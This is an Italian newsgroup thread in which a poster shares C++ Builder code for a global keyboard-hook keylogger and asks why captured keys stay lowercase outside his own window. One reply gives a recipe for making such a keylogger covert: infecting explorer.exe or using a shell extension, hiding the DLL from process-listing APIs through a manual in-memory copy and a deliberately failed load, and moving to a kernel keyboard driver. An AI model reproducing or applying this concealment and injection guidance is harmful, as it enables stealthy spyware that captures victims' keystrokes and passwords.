Newsgroup: it.comp.programmare.win32
Titolo: Hook tastiera e GetKeyboardState

Ciao a tutti, ho voluto provare a fare un semplice keylogger globale per
cercare di capirne un pochino il meccanismo, ma alcune cose non mi sono
del tutto chiare... dunque partiamo dall' inizio, il compilatore
utilizzato č il CBuilder e il meccanismo di base utilizzato č quello
classico,  programmino + dll, necessaria quest' ultima per fare in modo
che l' Hook sia globale, ma ecco il codice...
parte dll:
LRESULT CALLBACK KeyboardHookHandle(int iCode, WPARAM wParam, LPARAM
lParam)
{
if (iCode >=0)
   {
      PostMessage(HWND_BROADCAST,WM_USER, wParam, lParam);
      return 0;
   }
 else return CallNextHookEx(Hook, iCode, wParam, lParam);
}
parte eseguibile:
void __fastcall TForm1::AppMessage(tagMSG &Msg, bool &Handled)
{
  char str[20],ch;
  BYTE ks[256];
  UINT scan=0;
  WORD w;
  if (Msg.message == WM_USER)
  {
     GetKeyboardState(ks);
     ToAscii(wParam,scan,ks,&w,0);
     ch =(char)w;
     sprintf(str,"%c",ch);
     ShowMessage(str);
     Handled = true;
  }
}
utilizzando queste porzione di codice, il tutto funziona bene solo
quando il focus č sulla finestra principale del programma stesso, invece
quando sono su una altra applicazione, i tasti vengono comunque loggati,
ma rimangono sempre minuscoli, da varie prove fatte, il buffer ks non
viene aggiornato se non sono sulla finestra principale, di conseguenza
mi ritrovo sempre con un carattere minuscolo... se invece modifico il
codice della dll in questo modo...
LRESULT CALLBACK KeyboardHookHandle(int iCode, WPARAM wParam, LPARAM
lParam)
{
  char str[20],ch;
  BYTE ks[256];
  UINT scan=0;
  WORD w;
if (iCode >=0)
   {
      GetKeyboardState(ks);
      ToAscii(wParam,scan,ks,&w,0);
      ch =(char)w;
      sprintf(str,"%c",ch);
      ShowMessage(str);
      return 0;
   }
 else return CallNextHookEx(Hook, iCode, wParam, lParam);
}
tutto funziona correttamente, sia quando mi trovo sulla mia
applicazione, sia sulle altre... qualcuno di voi saprebbe spiegarmi il
motivo ? E nel caso volessi correggere l' applicazione come dovrei
procedere ?
Vi ringrazio in anticipo per il tempo che mi avete dedicato, e lasciate
perdere il codice pietoso, ma sono solo esperimenti per capirci
qualcosina in piů...
Salutoni Marco.

 cercare di capirne un pochino il meccanismo
Ci sono troppe cose nel tuo codice che non vanno bene, troppe 
che mancano e forse alcune di troppo... guarda questo thread che 
riporta un esempio di hook globale, si può anche fare qualcosa 
di più semplice, ma questo è quello che ho trovato:
http://groups.google.it/group/borland.public.cppbuilder.language.cpp/browse_thread/thread/e9707bf519b448c8/ef0f1956700279d4
Comunque sul Web puoi trovare sicuramente anche altri esempi.
Steve. 

come keylogger non è un granché:
1) tanto per cominciare la DLL non serve se usi i low level hooks (low
level keyboard e low level mouse), poiché questi funzionano inviando
messaggi ad un tuo thread e danno informazioni anche più utili se ben
ricordo;
2) un keylogger dovrebbe essere nascosto, meglio evitare di farne un exe,
altrimenti lo si può terminare dal Task Manager o da programmi analoghi,
senza contare che sarebbe visibile alla chiave Run del registro di sistema
o nella cartella di Esecuzione Automatica se hai intenzione di impostarlo
per l'avvio automatico; meglio che stia in una DLL :D senza l'exe però :P
3) per fare in modo che il codice della tua DLL venga eseguito hai diverse
possibilità: le due che più mi piacciono sono infettare explorer.exe e
creare una Shell Extension;
4) per evitare che la tua DLL sia visibile tramite PSAPI, Toolhelp e
simili, la puoi nascondere facendone una copia "invisibile" scritta
manualmente in un'area di memoria allocata con VirtualAlloc; fai questo
lavoro nella DllMain in risposta a DLL_PROCESS_ATTACH, e poi ritorna FALSE
in modo tale che il caricamento della DLL fallirà, ma la copia invisibile
continuerà ad essere presente.
5) se vuoi fare un keylogger poco niubbo e molto pro lascia perdere i
Windows Hooks e fai un kernel driver per keyboard class; magari cerca di
usare lo stesso principio del finto errore in fase di caricamento...
-- 
questo articolo e` stato inviato via web dal servizio gratuito 
http://www.newsland.it/news
 segnala gli abusi ad 
ab...@newsland.it